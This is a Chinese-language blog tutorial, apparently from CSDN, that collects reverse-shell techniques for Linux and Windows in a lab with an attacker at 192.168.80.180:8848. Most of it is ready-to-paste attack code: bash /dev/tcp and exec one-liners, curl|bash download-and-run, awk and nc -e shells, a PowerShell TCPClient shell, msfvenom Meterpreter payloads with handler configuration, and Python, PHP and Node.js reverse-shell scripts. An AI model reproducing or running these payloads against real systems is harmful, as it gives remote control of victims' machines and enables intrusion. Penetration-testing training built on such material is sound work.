反弹shell的各种姿势

反弹shell的各种姿势

一、反弹shell相关知识

1.shell是什么
  • Shell 是一个用 C 语言编写的程序,它是用户使用 Linux 的桥梁。
  • Shell 既是一种命令语言,又是一种程序设计语言。
  • Shell 是指一种应用程序,这个应用程序提供了一个界面,用户通过这个界面访问操作系统内核的服务
2.正向shell和反向shell
  • 正向shell:客户端连接服务端为正向连接,如:远程桌面、web服务、ssh、telnet等等
  • 反向shell:即反弹shell,攻击者为服务端,受害者主机为客户端主动连接攻击者的服务端
3.反弹shell的目的
  • 对方主机在外网无法访问
  • 对方主机防火墙限制,只能发送请求,不能接收请求
  • 对方IP动态变化
  • 攻击了一台主机需要在自己的机器上交互式地执行目标机器中的cmd/bash命令
  • 遇到各种AV(AntiVirus,杀软)对正向的连接数据包检测,对出网的检测不严格
4.原理
  • 让对方目标机器主动连接攻击者机器(攻击者作为服务端,受害者主机主动连接攻击者的服务端程序)
    1. 攻击者A开启XXX端口的TCP服务
    2. 受害者B连接XXX端口TCP服务
    3. A、B建立TCP连接
    4. A通过TCP服务将待执行命令发送到B
    5. B执行命令后将结果发送给A

二、Linux反弹shell的姿势

  • 实验环境(记得实验前关闭防火墙或者开放端口)
名称IP地址
攻击机(kali)192.168.80.180
目标机(centos)192.168.80.130
  • 攻击机nc监听端口,在目标机执行命令前一定要开启攻击机的端口监听
nc -lvp 8848

在这里插入图片描述

1.bash反弹shell
  • bash由 GNU 组织开发,sh 是 UNIX 上的标准 shell,是第一个流行的 Shell,bash保持了对 sh shell 的兼容性,是各种 Linux 发行版默认配置的 shell。现在sh 已经基本被 bash 代替,bash是sh的扩展补充,但是也有些是不兼容的,大多数情况下区别不大,特殊场景可以使用 bash 代替 sh

  • 实验实操

    • 目标机执行

      bash -i >& /dev/tcp/192.168.80.180/8848 0>&1
      

      在这里插入图片描述

      命令含义
      bash -i产生一个交互式的bash shell
      >&将标准输入和标准错误输出重定向到文件(目的:为了不在受害者终端中显示执行的命令)
      当>&后边接文件时,表示将表示将标准输入输出重定向到文件
      当>&后边接文件描述符时,表示讲前面的文件描述符重定向到后边的文件描述符
      /dev/tcp/ip地址/端口号一个特殊的设备,打开了这个文件相当于发出了一个socket调用,建立一个socket连接
      文件描述符0 - stdin,代表标准输入
      1 - stdout,代表标准输出
      2 - stderr,代表标准错误输出
      0>&1将标准输入重定向到标准输出
    • 成功反弹shell

      在这里插入图片描述

    • 反弹原理

      • 通过在目标机执行下面的命令,查看正在运行的服务
      netstat -anpt
      

      [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Lw1Jr7Kv-1682250938879)(D:\网安笔记\图片\image-20230422083625214.png)]

      • 在目标机本地开启了一个bash通过42972端口向攻击机192.168.80.180的8848端口走tcp协议
  • 举例分析命令的构造

    为什么要用bash -i >& /dev/tcp/192.168.80.180/8848 0>&1,我们通过以下实验就可以得知原因

    • 将目标机的交互式shell输出重定向到攻击机上,目标机执行命令,攻击机只能看到结果不能执行控制;就是将目标机执行命令的结果输出重定向到攻击机上,攻击机不能执行shell只能看到受害者输出的内容

      bash -i > /dev/tcp/192.168.80.180/8848
      
      • 目标机执行命令
        在这里插入图片描述

      • 攻击机返回的页面

      在这里插入图片描述

    • 使用输入重定向,目标机将攻击机的输入当作命令执行(执行一次就断了)

      bash -i < /dev/tcp/192.168.80.180/8848
      
      • 攻击者执行命令,但是执行一次就断开连接

      在这里插入图片描述

      • 目标机显示了攻击者输入的命令并执行,只是在两端都没有显示

      在这里插入图片描述

    • 将目标机的标准输入重定向到标准输出,即攻击机可以进行输出命令到目标机,因此可以反弹shell,但是受害者会显示执行的指令。即获取交互式的shell,使用文件描述符0>&1

      bash -i > /dev/tcp/192.168.80.180/8848 0>&1
      
      • 攻击机执行命令

      在这里插入图片描述

      • 目标机显示了攻击机执行的命令,但是执行结果在界面未显示

      在这里插入图片描述

    • 使用>&或者&>将标准输入和标准输出都重定向到文件即可完美使用bash反弹shell;即攻击机执行的命令不会在目标机显示,并且将正确或者错误的输出结果都重定向到攻击机

      bash -i >& /dev/tcp/192.168.80.180/8848 0>&1
      bash -i &> /dev/tcp/192.168.80.180/8848 0>&1
      
      • 攻击机执行命令

      在这里插入图片描述

      • 目标机没有显示攻击者输入的命令和执行后的结果

      在这里插入图片描述

2.exec反弹shell
  • 关于exec可以查看这里

  • 实验实操

    • 目标机执行

      exec 5<>/dev/tcp/192.168.80.180/8848;cat <&5 | while read line; do $line 2>&5 >&5; done
      

      在这里插入图片描述

    • 成功接到shell

      在这里插入图片描述

3.curl反弹shell
  • 在Linux中curl是一个利用URL规则在命令行下工作的文件传输工具,可以说是一款很强大的http命令行工具。它支持文件的上传和下载,是综合传输工具,但按传统,习惯称url为下载工具

  • 实验实操

    • 在攻击机新建一个文件,里面的内容就是反弹shell的命令,并启动一个http服务,将文件存放在文件目录里

      bash -i >& /dev/tcp/192.168.80.180/8848 0>&1
      

      在这里插入图片描述

      python3 -m http.server 80
      

      在这里插入图片描述

    • 目标主机使用curl命令访问攻击机的url,并重定向到bash

      curl 192.168.80.180/shell|bash
      

      在这里插入图片描述

    • 攻击机成功连接

      在这里插入图片描述

  • 命令原理

    • 使用curl访问远程站点下文件,并使用管道符重定向到bash;相当于用bash执行了文件中的命令

      在这里插入图片描述

4.awk反弹shell
  • 目标机执行

    awk 'BEGIN {s = "/inet/tcp/0/192.168.80.180/8848"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
    

    在这里插入图片描述

  • 攻击者成功连接shell

    在这里插入图片描述

  • 优点

    • 客户端一直保持向服务端反弹shell的状态

    • 正常的bash反弹shell服务端结束了shell(ctrl+c取消),shell客户端(受害者)也随之结束建立连接的命令,但是awk再次监听端口时仍旧能连接(也就是客户端一直保持连接状态除非手动在客户端结束,这样的好处是即使服务端断开连接不用在受害者主机中再次执行命令直接nc接shell即可)

      在这里插入图片描述

5.nc反弹shell
  • 目标机需要安装netcat

  • 目标机执行

    nc 192.168.80.180 8848 -e /bin/sh
    

    在这里插入图片描述

  • 攻击机成功连接shell

    在这里插入图片描述

三、Windows 反弹shell

  • 实验环境(记得实验前关闭防火墙或者开放端口)
名称IP地址
攻击机(kali)192.168.80.180
目标机(windows11)192.168.1.3
1.自定义powershell 反弹shell
  • 利用powershell创建一个Net.Sockets.TCPClient对象,通过Socket反弹tcp shell,其实也是借鉴nishang中的Invoke-PowerShellTcpOneLine.ps1

  • 目标机执行

    powershell -nop -c "$client = New-Object Net.Sockets.TCPClient('192.168.80.180',8848);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte =([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
    
  • 攻击机成功连接shell

    在这里插入图片描述

2.nc反弹shell
  • 目标机需要安装netcat

  • 目标机执行

    nc 192.168.80.180 8848 -e c:\windows\system32\cmd.exe
    

    在这里插入图片描述

  • 攻击者成功连接shell

    在这里插入图片描述

四、MSF 反弹shell

  • 实验环境(记得实验前关闭防火墙或者开放端口)

    名称IP地址
    攻击机(kali)192.168.80.180
    目标机(windows11)192.168.1.3
    目标机(centos)192.168.80.130
1.Windows反弹shell(exe)
  • MSF生成可执行exe文件

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.180 LPORT=8848 -f exe -o glc.exe
    

    在这里插入图片描述

  • 在攻击机开启http服务,将生成的glc.exe文件放在网站根目录

    python3 -m http.server 80
    

    在这里插入图片描述

  • 启动MSF,并修改配置

    msfconsole
    use exploit/multi/handler
    set PAYLOAD windows/meterpreter/reverse_tcp
    set lhost 192.168.80.180
    set lport 8848
    exploit/run
    

    在这里插入图片描述

    在这里插入图片描述

  • 执行,等待目标机执行exe文件

    在这里插入图片描述

  • 目标机下载glc.exe文件,并手动执行

    在这里插入图片描述

2.Windows反弹shell(powershell)
  • 我们要先确定目标主机的操作系统位数

    uname -a     			Linux
    systemctl/systeminfo    Windows
    
  • MSF生成ps1格式的powershell脚本

    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.80.180 LPORT=8848 -f psh-reflection > glc.ps1
    

    在这里插入图片描述

  • 在攻击机开启http服务,将生成的glc.ps1文件放在网站根目录

  • 配置MSF并执行,等待目标机执行glc.sh1文件

    msfconsole
    use exploit/multi/handler
    set payload windows/x64/meterpreter/reverse_tcp
    set lhost 192.168.80.180
    set lport 8848
    exploit/run
    
  • 目标主机下载glc.ps1文件,并使用powershell执行该文件,成功连接shell

    powershell ./glc.sh1
    

    在这里插入图片描述

3.Linux反弹shell(elf)
  • 使用MSF生成elf文件,并放在网站根目录,开启http服务

    msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.80.180 lport=8848 -f elf >glc
    

    在这里插入图片描述

  • 配置MSF,等待目标机执行glc文件

    msfconsole
    use exploit/multi/handler
    set payload linux/x64/meterpreter/reverse_tcp
    set lhost 192.168.80.180
    set lport 8848
    exploit/run
    
  • 在目标主机通过wget下载glc文件,并赋予可执行权限

    wget http://192.168.80.180/glc
    
    chmod 777 glc
    

    在这里插入图片描述

  • 目标机执行glc文件,成功连接shell

    在这里插入图片描述

五、不同语言反弹shell

  • 实验环境(记得实验前关闭防火墙或者开放端口,并且目标机要装有下面的语言环境)

    名称IP地址
    攻击机(kali)192.168.80.180
    目标机(centos)192.168.80.130
1.python反弹shell
  • 已知目标机上存在python环境

    python
    

    在这里插入图片描述

  • python反弹shell代码

    #!/usr/bin/python
    #-*- coding: utf-8 -*-
    import socket,subprocess,os
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(("192.168.80.180",8848)) 
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    p=subprocess.call(["/bin/sh","-i"])
    
  • 攻击机启动http服务,并在站点目录下存放glc.py文件,内容就是上面的代码

  • 目标机中执行

    curl http://192.168.80.180/glc.py|python
    

    在这里插入图片描述

  • 攻击机成功连接shell

    在这里插入图片描述

  • 命令原理

    • 目标机使用curl命令工具访问攻击者站点上的反弹shell的python脚本,并通过管道符调用python解析器执行

      在这里插入图片描述

2.php反弹shell
  • 已知目标机存在php环境

    php -v
    

    在这里插入图片描述

  • php反弹shell代码

    <?php
    	$sock=fsockopen("192.168.80.180",8848); 
    	exec("/bin/sh -i <&3 >&3 2>&3");
    ?>
    
  • 攻击机启动http服务,并在站点目录下存放glc.txt文件,内容就是上面的代码

  • 目标机中执行

    curl http://192.168.80.180/glc.php|php
    
  • 攻击机成功连接shell

    在这里插入图片描述

  • 命令原理

    • 目标机使用curl命令工具访问攻击者站点上的反弹shell的php脚本,并通过管道符调用php解析器执行

      在这里插入图片描述

3.Node.JS反弹shell
  • 已知目标机存在node.js环境

    node -v
    

    在这里插入图片描述

  • node.js反弹shell代码

    (function(){
        var net = require("net"),
            cp = require("child_process"),
            sh = cp.spawn("/bin/sh", []);
        var client = new net.Socket();
        client.connect(8848, "192.168.80.180", function(){
            client.pipe(sh.stdin);
            sh.stdout.pipe(client);
            sh.stderr.pipe(client);
        });
        return /a/;
    })();
    
  • 攻击机启动http服务,并在站点目录下存放glc.js文件,内容就是上面的代码

  • 目标机中执行

    curl http://192.168.80.180/glc.js|node
    
  • 攻击机成功连接shell

    在这里插入图片描述

  • 命令原理

    • 目标机使用curl命令工具访问攻击者站点上的反弹shell的JS脚本,并通过管道符调用node.js解析器执行

      在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

果粒程1122

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值